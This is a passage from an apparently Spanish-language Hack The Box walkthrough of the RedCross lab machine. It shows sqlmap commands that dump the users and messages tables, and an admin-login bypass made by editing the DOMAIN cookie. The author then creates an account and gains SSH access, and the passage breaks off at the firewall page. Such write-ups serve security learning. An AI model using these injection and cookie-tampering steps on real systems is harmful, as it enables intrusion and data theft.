</span></span><span style="display:flex;"><span>[23:19:17] [INFO] fetching database names
</span></span><span style="display:flex;"><span>[23:19:21] [INFO] used SQL query returns 2 entries
</span></span><span style="display:flex;"><span>[23:19:21] [INFO] retrieved: &#39;information_schema&#39;
</span></span><span style="display:flex;"><span>[23:19:22] [INFO] retrieved: &#39;redcross&#39;
</span></span><span style="display:flex;"><span>available databases [2]:
</span></span><span style="display:flex;"><span>[*] information_schema
</span></span><span style="display:flex;"><span>[*] redcross
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ sqlmap -u &#34;https://intra.redcross.htb/?o=1&amp;page=app&#34; --cookie=&#34;PHPSESSID=le7n8htqei4pg268v1bm1vqtq1; LANG=EN_US; SINCE=1552972200; LIMIT=10; DOMAIN=intra;&#34; --tamper=space2comment --random-agent -D redcross --tables
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Database: redcross
</span></span><span style="display:flex;"><span>[3 tables]
</span></span><span style="display:flex;"><span>+----------+
</span></span><span style="display:flex;"><span>| messages |
</span></span><span style="display:flex;"><span>| requests |
</span></span><span style="display:flex;"><span>| users    |
</span></span><span style="display:flex;"><span>+----------+
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ sqlmap -u &#34;https://intra.redcross.htb/?o=1&amp;page=app&#34; --cookie=&#34;PHPSESSID=le7n8htqei4pg268v1bm1vqtq1; LANG=EN_US; SINCE=1552972200; LIMIT=10; DOMAIN=intra;&#34; --tamper=space2comment --random-agent -D redcross -T users --columns
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Database: redcross
</span></span><span style="display:flex;"><span>Table: users
</span></span><span style="display:flex;"><span>[5 columns]
</span></span><span style="display:flex;"><span>+----------+-------------+
</span></span><span style="display:flex;"><span>| Column   | Type        |
</span></span><span style="display:flex;"><span>+----------+-------------+
</span></span><span style="display:flex;"><span>| id       | int(11)     |
</span></span><span style="display:flex;"><span>| mail     | varchar(30) |
</span></span><span style="display:flex;"><span>| password | varchar(64) |
</span></span><span style="display:flex;"><span>| role     | int(11)     |
</span></span><span style="display:flex;"><span>| username | varchar(20) |
</span></span><span style="display:flex;"><span>+----------+-------------+
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ sqlmap -u &#34;https://intra.redcross.htb/?o=1&amp;page=app&#34; --cookie=&#34;PHPSESSID=le7n8htqei4pg268v1bm1vqtq1; LANG=EN_US; SINCE=1552972200; LIMIT=10; DOMAIN=intra;&#34; --tamper=space2comment --random-agent -D redcross -T users -C id,mail,password,role,username --dump
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Database: redcross
</span></span><span style="display:flex;"><span>Table: users
</span></span><span style="display:flex;"><span>[5 entries]
</span></span><span style="display:flex;"><span>+----+------------------------------+--------------------------------------------------------------+------+----------+
</span></span><span style="display:flex;"><span>| id | mail                         | password                                                     | role | username |
</span></span><span style="display:flex;"><span>+----+------------------------------+--------------------------------------------------------------+------+----------+
</span></span><span style="display:flex;"><span>| 1  | admin@redcross.htb           | $2y$10$z/d5GiwZuFqjY1jRiKIPzuPXKt0SthLOyU438ajqRBtrb7ZADpwq. | 0    | admin    |
</span></span><span style="display:flex;"><span>| 2  | penelope@redcross.htb        | $2y$10$tY9Y955kyFB37GnW4xrC0.J.FzmkrQhxD..vKCQICvwOEgwfxqgAS | 1    | penelope |
</span></span><span style="display:flex;"><span>| 3  | charles@redcross.htb         | $2y$10$bj5Qh0AbUM5wHeu/lTfjg.xPxjRQkqU6T8cs683Eus/Y89GHs.G7i | 1    | charles  |
</span></span><span style="display:flex;"><span>| 4  | tricia.wanderloo@contoso.com | $2y$10$Dnv/b2ZBca2O4cp0fsBbjeQ/0HnhvJ7WrC/ZN3K7QKqTa9SSKP6r. | 100  | tricia   |
</span></span><span style="display:flex;"><span>| 5  | non@available                | $2y$10$U16O2Ylt/uFtzlVbDIzJ8us9ts8f9ITWoPAWcUfK585sZue03YBAi | 1000 | guest    |
</span></span><span style="display:flex;"><span>+----+------------------------------+--------------------------------------------------------------+------+----------+
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ sqlmap -u &#34;https://intra.redcross.htb/?o=1&amp;page=app&#34; --cookie=&#34;PHPSESSID=le7n8htqei4pg268v1bm1vqtq1; LANG=EN_US; SINCE=1552972200; LIMIT=10; DOMAIN=intra;&#34; --tamper=space2comment --random-agent -D redcross -T messages --dump
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Database: redcross
</span></span><span style="display:flex;"><span>Table: messages
</span></span><span style="display:flex;"><span>[8 entries]
</span></span><span style="display:flex;"><span>+----+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------+--------+----------------------------------------------+
</span></span><span style="display:flex;"><span>| id | body                                                                                                                                                                                         | dest | origin | subject                                      |
</span></span><span style="display:flex;"><span>+----+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------+--------+----------------------------------------------+
</span></span><span style="display:flex;"><span>| 1  | You&#39;re granted with a low privilege access while we&#39;re processing your credentials request. Our messaging system still in beta status. Please report if you find any incidence.              | 5    | 1      | Guest Account Info                           |
</span></span><span style="display:flex;"><span>| 2  | Hi Penny, can you check if is there any problem with the order? I&#39;m not receiving it in our EDI platform.                                                                                    | 2    | 4      | Problems with order 02122128                 |
</span></span><span style="display:flex;"><span>| 3  | Please could you check the admin webpanel? idk what happens but when I&#39;m checking the messages, alerts popping everywhere!! Maybe a virus?                                                   | 3    | 1      | Strange behavior                             |
</span></span><span style="display:flex;"><span>| 4  | Hi, Please check now... Should be arrived in your systems. Please confirm me. Regards.                                                                                                       | 4    | 2      | Problems with order 02122128                 |
</span></span><span style="display:flex;"><span>| 5  | Hey, my chief contacted me complaining about some problem in the admin webapp. I thought that you reinforced security on it... Alerts everywhere!!                                           | 2    | 3      | admin subd webapp problems                   |
</span></span><span style="display:flex;"><span>| 6  | Hi, Yes it&#39;s strange because we applied some input filtering on the contact form. Let me check it. I&#39;ll take care of that since now! KR                                                      | 3    | 2      | admin subd webapp problems (priority)        |
</span></span><span style="display:flex;"><span>| 7  | Hi, Please stop checking messages from intra platform, it&#39;s possible that there is a vuln on your admin side...                                                                              | 1    | 2      | STOP checking messages from intra (priority) |
</span></span><span style="display:flex;"><span>| 8  | Sorry but I can&#39;t do that. It&#39;s the only way we have to communicate with partners and we are overloaded. Doesn&#39;t look so bad... besides that what colud happen? Don&#39;t worry but fix it ASAP. | 2    | 1      | STOP checking messages from intra (priority) |
</span></span><span style="display:flex;"><span>+----+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------+--------+----------------------------------------------+
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ sqlmap -u &#34;https://intra.redcross.htb/?o=1&amp;page=app&#34; --cookie=&#34;PHPSESSID=le7n8htqei4pg268v1bm1vqtq1; LANG=EN_US; SINCE=1552972200; LIMIT=10; DOMAIN=intra;&#34; --tamper=space2comment --random-agent -D redcross -T requests --dump
</span></span><span style="display:flex;"><span>Database: redcross
</span></span><span style="display:flex;"><span>Table: requests
</span></span><span style="display:flex;"><span>[0 entries]
</span></span><span style="display:flex;"><span>+----+------+-------+---------+
</span></span><span style="display:flex;"><span>| id | body | cback | subject |
</span></span><span style="display:flex;"><span>+----+------+-------+---------+
</span></span><span style="display:flex;"><span>+----+------+-------+---------+
</span></span></code></pre></div><p>Bastante información, de la cual tenemos hashes bcrypt (tardaremos mucho para romperlas) y varias notas del subdomain admin que descubrimos anteriormente. No pudimos conseguir ninguna credencial mas que guest, pero había un detalle interesante sobre nuestra cookie que devolvía intra al ingresar, la variable <strong>DOMAIN</strong>. Probemos si el manejo de autenticación esta roto.</p>
<h1 id="login-on-admin">Login on admin</h1>
<p>También al leer la descripción del problema que reportan los usuarios detectaremos que se trata de un XSS. En este caso seguiremos el camino de manejo de cookies, gracias un <em>hit</em> de un mago.</p>
<p>Primero obtengamos una cookie de intra:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify no -f POST &#34;https://intra.redcross.htb/pages/actions.php&#34; user=guest pass=guest submit=Login action=login
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;omitiendo&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PHPSESSID=5a0o7947pk2gb11m6acglej5i6; LANG=EN_US; SINCE=1555227715; LIMIT=10; DOMAIN=intra;
</span></span></code></pre></div><p>Ahora cambiemos donde diga intra por admin y preparemos una petición GET:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify no &#34;https://admin.redcross.htb&#34; &#34;Cookie:PHPSESSID=5a0o7947pk2gb11m6acglej5i6; LANG=EN_US; SINCE=1555227715; LIMIT=10; DOMAIN=admin;&#34;
</span></span><span style="display:flex;"><span>HTTP/1.1 302 Found
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Length: 466
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Location: /?page=cpanel
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;center&gt;&lt;a href=https://www.xbyte.mx/&gt;&lt;table border=0 width=95%&gt;&lt;tr&gt;&lt;td&gt;&lt;table border=0&gt;&lt;tr&gt;&lt;td width=10% rowspan=2&gt;&lt;img src=&#39;https://www.xbyte.mx/images/it.svg&#39; width=&#39;100%&#39;&gt;&lt;/td&gt;&lt;td valign=&#39;bottom&#39;&gt;&lt;h2&gt;IT Admin panel&lt;/h2&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign=&#39;top&#39;&gt;&lt;h3&gt;Authorized personnel only&lt;/h3&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;td width=100px&gt;&lt;p style=&#39;font-size:75%&#39;&gt;[[guest]]&lt;/p&gt;&lt;form action=&#39;https://www.xbyte.mx/pages/actions.php&#39; method=&#39;POST&#39;&gt;&lt;input type=&#39;submit&#39; name=&#39;action&#39; value=&#39;end session&#39;&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/a&gt;&lt;/center&gt;
</span></span></code></pre></div><p>El portal que tenemos y debemos ver es el siguiente:</p>
<p><img src="/img/htb-redcross/http-admin-login.png" alt="admin login"></p>
<h1 id="cpanel">CPanel</h1>
<p>Visitemos el cpanel de admin:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify no &#34;https://admin.redcross.htb/?page=cpanel&#34; &#34;Cookie:PHPSESSID=5a0o7947pk2gb11m6acglej5i6; LANG=EN_US; SINCE=1555227715; LIMIT=10; DOMAIN=admin;&#34;
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 427
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;center&gt;&lt;a href=https://www.xbyte.mx/&gt;&lt;table border=0 width=95%&gt;&lt;tr&gt;&lt;td&gt;&lt;table border=0&gt;&lt;tr&gt;&lt;td width=10% rowspan=2&gt;&lt;img src=&#39;https://www.xbyte.mx/images/it.svg&#39; width=&#39;100%&#39;&gt;&lt;/td&gt;&lt;td valign=&#39;bottom&#39;&gt;&lt;h2&gt;IT Admin panel&lt;/h2&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td valign=&#39;top&#39;&gt;&lt;h3&gt;Authorized personnel only&lt;/h3&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;td width=100px&gt;&lt;p style=&#39;font-size:75%&#39;&gt;[[guest]]&lt;/p&gt;&lt;form action=&#39;https://www.xbyte.mx/pages/actions.php&#39; method=&#39;POST&#39;&gt;&lt;input type=&#39;submit&#39; name=&#39;action&#39; value=&#39;end session&#39;&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/a&gt;&lt;/center&gt;&lt;center&gt;&lt;table border=0 width=30%&gt;&lt;tr align=center&gt;&lt;td&gt;&lt;a href=&#39;https://www.xbyte.mx/?page=users&#39;&gt;&lt;img src=&#39;../images/users.png&#39; width=50% alt=&#39;User Management&#39;&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&#39;https://www.xbyte.mx/?page=firewall&#39;&gt;&lt;img src=&#39;../images/firewall.png&#39; width=50% alt=&#39;Network Access&#39;&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr align=center&gt;&lt;td&gt;User Management&lt;/td&gt;&lt;td&gt;Network Access&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;&lt;br&gt;&lt;br&gt;&lt;center&gt;&lt;p&gt;Web admin system 0.9&lt;/p&gt;&lt;/center&gt;
</span></span></code></pre></div><p><img src="/img/htb-redcross/http-admin-cpanel.png" alt="admin cpanel"></p>
<p>Tenemos una administración de usuarios y de reglas de firewall. Comencemos por conocer <strong>User Management</strong> (users):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify=no &#34;https://admin.redcross.htb/?page=users&#34; &#34;Cookie:PHPSESSID=oiuslv12i7j2urs7u86etj3bq6; LANG=EN_US; SINCE=1553146196; LIMIT=10; DOMAIN=admin;&#34; HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 473
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Thu, 21 Mar 2019 06:35:56 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">/</span>&gt;&lt;<span style="color:#f92672">table</span> <span style="color:#a6e22e">border</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">95%</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">table</span> <span style="color:#a6e22e">border</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">10%</span> <span style="color:#a6e22e">rowspan</span><span style="color:#f92672">=</span><span style="color:#e6db74">2</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/images/it.svg&#39;</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;100%&#39;</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;bottom&#39;</span>&gt;&lt;<span style="color:#f92672">h2</span>&gt;IT Admin panel&lt;/<span style="color:#f92672">h2</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;top&#39;</span>&gt;&lt;<span style="color:#f92672">h3</span>&gt;Authorized personnel only&lt;/<span style="color:#f92672">h3</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;/<span style="color:#f92672">table</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">100px</span>&gt;&lt;<span style="color:#f92672">p</span> <span style="color:#a6e22e">style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;font-size:75%&#39;</span>&gt;[[guest]]&lt;/<span style="color:#f92672">p</span>&gt;&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/pages/actions.php&#39;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;POST&#39;</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;submit&#39;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;action&#39;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;end session&#39;</span>&gt;&lt;/<span style="color:#f92672">form</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;/<span style="color:#f92672">table</span>&gt;&lt;/<span style="color:#f92672">a</span>&gt;&lt;/<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">POST</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/pages/actions.php&#39;</span>&gt;Add virtual user:&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;text&#39;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;username&#39;</span>&gt;<span style="color:#960050;background-color:#1e0010">&amp;</span>nbsp&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;submit&#39;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;action&#39;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;adduser&#39;</span>&gt;&lt;/<span style="color:#f92672">form</span>&gt;&lt;/<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">center</span> <span style="color:#a6e22e">align</span><span style="color:#f92672">=</span><span style="color:#e6db74">center</span>&gt;&lt;<span style="color:#f92672">table</span> <span style="color:#a6e22e">cellspacing</span><span style="color:#f92672">=</span><span style="color:#e6db74">5</span> <span style="color:#a6e22e">cellpadding</span><span style="color:#f92672">=</span><span style="color:#e6db74">5</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;Username&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;UID&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;GID&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;Action&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;tricia&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;2018&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;1001&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/pages/actions.php&#39;</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">POST</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">hidden</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">uid</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">2018</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">submit</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">action</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">del</span>&gt;&lt;/<span style="color:#f92672">form</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;/<span style="color:#f92672">tr</span>&gt;&lt;/<span style="color:#f92672">table</span>&gt;&lt;/<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">p</span>&gt;Web admin system 0.9&lt;/<span style="color:#f92672">p</span>&gt;&lt;/<span style="color:#f92672">center</span>&gt;
</span></span></code></pre></div><p><img src="/img/htb-redcross/http-admin-users.png" alt="admin users"></p>
<p>Como podemos observar, se trata de una pagina donde crearemos usuarios virtuales con permisos limitados. Crearemos al usuario miau:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify=no -f POST &#34;https://admin.redcross.htb/pages/actions.php&#34; &#34;Cookie:PHPSESSID=oiuslv12i7j2urs7u86etj3bq6; LANG=EN_US; SINCE=1553146196; LIMIT=10; DOMAIN=admin;&#34; username=miau action=adduser
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 111
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Thu, 21 Mar 2019 06:37:05 GMT
</span></span><span style="display:flex;"><span>Expires: Thu, 19 Nov 1981 08:52:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Provide this credentials to the user:&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">b</span>&gt;miau : E8z6e6iL&lt;/<span style="color:#f92672">b</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">br</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">/?page=users</span>&gt;Continue&lt;/<span style="color:#f92672">a</span>&gt;
</span></span></code></pre></div><p>Estas credenciales nos servirán para poder ingresar por SSH:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ ssh miau@admin.redcross.htb
</span></span><span style="display:flex;"><span>The authenticity of host &#39;admin.redcross.htb (10.10.10.113)&#39; can&#39;t be established.
</span></span><span style="display:flex;"><span>ECDSA key fingerprint is SHA256:yd04sZox5Ub78YD9IP7Yrslhv2TgP7lcFNiOBpZjCfk.
</span></span><span style="display:flex;"><span>Are you sure you want to continue connecting (yes/no)? yes
</span></span><span style="display:flex;"><span>Warning: Permanently added &#39;admin.redcross.htb,10.10.10.113&#39; (ECDSA) to the list of known hosts.
</span></span><span style="display:flex;"><span>miau@admin.redcross.htb&#39;s password:
</span></span><span style="display:flex;"><span>Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>The programs included with the Debian GNU/Linux system are free software;
</span></span><span style="display:flex;"><span>the exact distribution terms for each program are described in the
</span></span><span style="display:flex;"><span>individual files in /usr/share/doc/*/copyright.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
</span></span><span style="display:flex;"><span>permitted by applicable law.
</span></span><span style="display:flex;"><span>$ id
</span></span><span style="display:flex;"><span>uid=2026 gid=1001(associates) groups=1001(associates)
</span></span></code></pre></div><p>Pronto nos daremos cuenta de lo limitada que es esta shell y que no cuenta con muchas herramientas que nos permitan escalar directamente a algún otro usuario o inclusive salir, al menos yo no encontré la manera.</p>
<h1 id="rce">RCE</h1>
<p>Veamos ahora que podemos hacer desde <strong>Network Access</strong> (firewall):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/redcross$ http --verify no https://admin.redcross.htb/?page=firewall Cookie:&#34;PHPSESSID=79cdhgjto42ab714987f6258c1; LANG=EN_US; SINCE=1555294885; LIMIT=10; DOMAIN=admin;&#34;HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 540
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=UTF-8
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.25 (Debian)
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">center</span>&gt;&lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">/</span>&gt;&lt;<span style="color:#f92672">table</span> <span style="color:#a6e22e">border</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">95%</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">table</span> <span style="color:#a6e22e">border</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span>&gt;&lt;<span style="color:#f92672">tr</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">10%</span> <span style="color:#a6e22e">rowspan</span><span style="color:#f92672">=</span><span style="color:#e6db74">2</span>&gt;&lt;<span style="color:#f92672">img</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/images/it.svg&#39;</span> <span style="color:#a6e22e">width</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;100%&#39;</span>&gt;&lt;/<span style="color:#f92672">td</span>&gt;&lt;<span style="color:#f92672">td</span> <span style="color:#a6e22e">valign</span><span style="color:#f92672">=</span><span 